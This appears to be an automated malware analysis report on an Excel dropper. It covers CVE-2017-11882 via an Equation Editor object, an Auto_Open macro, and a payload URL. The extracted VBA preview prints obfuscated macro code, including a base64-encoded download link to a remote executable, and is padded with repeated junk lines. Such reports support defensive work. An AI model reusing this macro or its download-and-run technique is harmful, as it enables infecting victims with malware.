Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 535f2b04a4086696…

MALICIOUS

Office (OOXML)

51.9 KB Created: 2020-02-01 18:28:07 UTC Authoring application: Microsoft Excel 12.0000 First seen: 2020-07-24
MD5: 63e87619e5dcb07ca54ef9d82d99f7c0 SHA-1: 7fd77e39fbf7ad6e8ade3e6592580a81a7373c54 SHA-256: 535f2b04a4086696d3fafb347cba4a40d6647a3c9c0b8b4690e966d789b5f45e
452 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an Excel document containing a VBA macro that triggers an Auto_Open subroutine. This subroutine exploits CVE-2017-11882 through an embedded Equation Editor OLE object. The exploit executes a command that renames a file and then uses cScript to execute a WSF file, which likely downloads and executes the payload from the URL http://192.3.31.219/7CzjGIK5znX0kpa.exe. The presence of the Auto_Open macro and the CVE-2017-11882 exploit strongly indicate a malicious intent to download and execute a secondary payload.

Heuristics 12

  • CVE-2017-11882 — Equation Editor command stager critical CVE likely CVE_2017_11882_EQUATION_NATIVE_CMD
    Embedded Equation Editor OLE data contains an invalid Equation Native/MTEF stream with an embedded command stager. This is likely CVE-2017-11882 exploitation because the vulnerable Equation Editor component is reached and the malformed native stream directly carries process-launch bytes.
  • Equation Editor OLE object high CVE related OLE_EQUATION_EDITOR
    Embedded OLE object xl/embeddings/oleObject3.bin contains the Equation Editor CLSID, the legacy component exploited by CVE-2017-11882, CVE-2018-0802, and CVE-2018-0798.
  • ClamAV: Xls.Dropper.Sdrop-9451844-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Sdrop-9451844-0
  • Embedded Office object carries macros critical OFFICE_EMBEDDED_MACRO_OBJECT
    This document embeds a second Office file that itself contains a VBA macro project or an Excel 4.0 (XLM) macro sheet. Hiding a macro-bearing workbook or document inside another document — frequently under an obfuscated, non-standard part name — is a macro-smuggling technique that defeats scanners which only inspect the outer document's macro storage. No benign authoring workflow stages a hidden macro project this way.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    rjtievceorh54 = rjtievceorh54 + "    if ssge34322323ssge34322323ssge34322323ssge34322323ssge34322323ssge34322323 Then vvfebtrfdhbtrdfg = ""utf-16le"" Else vvfebtrfdhbtrdfg = ""utf-8""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    mgyftgcdrfsrthgfrty = ""CreateObject""  '249472" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "    leftieiehtegy33gy = ""(""" + vbCrLf '0000
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    End Sub
Sub Auto_Open()
rjtievceorh54 = rjtievceorh54 + "cft6ygvcr4rcvfgyu = ""bhju43h3uhiweokwgui4gukf4yugwEHJWERREGIH4FH874EUFWEHYUihruihrejigmg4b43y7u437843oji43ikotj43rfwet4345gy54yergt4e5tg3w54yt3""" + vbCrLf '0000
  • Embedded OLE object medium OOXML_OLE_OBJECT
    Document contains an embedded OLE object
  • Payload URL recovered from embedded OLE object (1 URL) info OOXML_EMBEDDED_OBJECT_URL
    An embedded OLE object (xl/word/ppt embeddings) carries a next-stage download URL in its Ole10Native/Package stream — stored literally (incl. UTF-16) or base64-encoded — which the package-level URL sweep does not see. Surfaced as an IOC; self-validating (only real payload hosts).
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://192.3.31.219/7CzjGIK5znX0kpa.exe In document text (OOXML body / shared strings)

Extracted artifacts 9

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 77280 bytes
SHA-256: 3351200358b1e5f0e5e60b2af4e91c0bbf16fcee94f84f7f17800ca6a8b76f81
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet4"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

Attribute VB_Name = "Module2"

Sub SaveWorkshetAsPDF()
Dim ws As Worksheet
For Each ws In Worksheets
'ws.ExportAsFixedFormat xlTypePDF, "C:UsersSumitDesktopTest" & ws.Name & ".pdf"
Next ws
End Sub
Sub Auto_Open()
rjtievceorh54 = rjtievceorh54 + "cft6ygvcr4rcvfgyu = ""bhju43h3uhiweokwgui4gukf4yugwEHJWERREGIH4FH874EUFWEHYUihruihrejigmg4b43y7u437843oji43ikotj43rfwet4345gy54yergt4e5tg3w54yt3""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "cft6ygvcr4rcvfgyu = ""aHR0cDovLzE5Mi4zLjMxLjIxOS83Q3pqR0lLNXpuWDBrcGEuZXhl"" " + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "hj435fy43geu87r5i =""NXpuWDBrcGEuZXhl""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
rjtievceorh54 = rjtievceorh54 + "            sosnrbyegubh38grtfuiejeutyygr = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf '0000
